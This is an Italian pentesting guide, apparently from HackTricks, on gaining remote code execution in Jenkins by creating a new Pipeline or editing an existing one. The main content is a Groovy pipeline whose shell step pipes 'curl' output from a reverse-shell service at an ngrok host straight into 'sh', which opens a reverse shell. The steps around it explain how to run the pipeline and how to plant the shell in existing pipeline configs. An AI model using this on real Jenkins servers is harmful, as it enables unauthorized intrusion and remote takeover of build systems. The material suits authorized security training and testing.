# Jenkins RCE Creazione/Modifica Pipeline

{{#include ../../banners/hacktricks-training.md}}

## Creare una nuova Pipeline

In "Nuovo Elemento" (accessibile in `/view/all/newJob`) seleziona **Pipeline:**

![](<../../images/image (235).png>)

Nella **sezione Pipeline** scrivi il **reverse shell**:

![](<../../images/image (285).png>)
```groovy
pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}
```
Infine fai clic su **Salva** e **Esegui ora** e la pipeline verrà eseguita:

![](<../../images/image (228).png>)

## Modificare una Pipeline

Se puoi accedere al file di configurazione di una pipeline configurata, puoi semplicemente **modificarlo aggiungendo il tuo reverse shell** e poi eseguirlo o aspettare che venga eseguito.

{{#include ../../banners/hacktricks-training.md}}
